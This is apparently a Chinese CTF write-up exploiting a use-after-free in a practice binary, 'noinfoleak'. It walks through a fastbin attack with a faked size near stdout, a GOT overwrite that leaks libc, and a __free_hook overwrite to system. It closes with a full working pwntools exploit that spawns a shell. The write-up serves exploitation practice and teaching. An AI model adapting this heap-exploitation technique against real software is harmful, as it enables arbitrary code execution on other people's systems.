堆上的漏洞利用,存在UAF漏洞,利用技术:House of Spirit

程序信息:

fun@ubuntu:~/Desktop/pwn/noinfoleak$ checksec noinfoleak 
[*] '/home/fun/Desktop/pwn/noinfoleak/noinfoleak'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

malloc源码进行简单浏览:

#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p)         ((p)->mchunk_size)
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }

所以可以得知,在获取目的地址时需要对size进行伪造。

漏洞分析

void Del()
{
  int v0; // [rsp+Ch] [rbp-4h]

  putchar('>');
  v0 = get_num();
  if ( v0 >= 0 && v0 <= 15 )
    free(globle_mem[2 * v0]);                   
}

指针没有置NULLEdit可以修改已经释放的块内容。

漏洞利用

1、程序空间中寻找可以伪造的size,采用了bss段上地址0x60108Dstdout0x7F,根据宏定义fastbin_index可以计算出0x7F落入idx = 5bin

pwndbg> x/4gx 0x60108D
0x60108d:   0x35185a08e0000000  0x000000000000007f
0x60109d:   0x0000000000000000  0x0000000000000000

2、修改fastbin中块的fd指向目的地址,再次malloc时获得,以便修改程序的全局结构,此时达到任意地址修改的能力。
3、利用unsortedbin的特性,修改free@gotputs@plt,打印出libc地址。
4、把free@got修改回来,再修改__free_hooksystem

exp.py

#! /usr/bin/python
from pwn import *

io = process("./noinfoleak")
elf = ELF("./noinfoleak")

def Add(size, content):
    io.sendlineafter(">", "1")
    io.sendlineafter(">", str(size))
    io.sendafter(">", content)

def Del(idx):
    io.sendlineafter(">", "2")
    io.sendlineafter(">", str(idx))

def Edit(idx, content):
    io.sendlineafter(">", "3")
    io.sendlineafter(">", str(idx))
    io.sendafter(">", content)

if __name__ == "__main__":
    # gdb.attach(io, "b *0x400AB8")
    global_list = 0x6010A0
    target_address = 0x60108D
    Add(0x60, "0"*0x60)# 0
    Add(0x60, "1"*0x60)# 1
    Add(0x7F, "2"*0x7F)# 2
    Add(0x10, "3"*0x10)# 3 invoid merge with top chunk
    Del(0)
    Del(1)
    # fastbin : 1 -> 0
    payload = p64(target_address)
    Edit(1, payload)
    Add(0x60, "/bin/sh\x00")# 4
    payload = "A"*3 + p64(0)*2 + p64(global_list)*2
    Add(0x60, payload)# 5

    Del(2)
    # unsortedbin : 2

    Edit(1, p64(elf.got["free"]) + p64(0x100))
    Edit(0, p64(elf.plt["puts"]))

    # puts -> unsoredtbin : 2
    Del(2)
    libc_base = u64(io.recvline().strip().ljust(8, '\x00')) - 0x3c4b78
    success("libc base : 0x%x"%libc_base)

    free_hook = 0x3c67a8
    system = 0x045390
    free = 0x844f0
    Edit(0, p64(libc_base+free))
    Edit(1, p64(libc_base+free_hook) + p64(0x100))
    Edit(0, p64(libc_base+system))
    Del(4)
    io.interactive()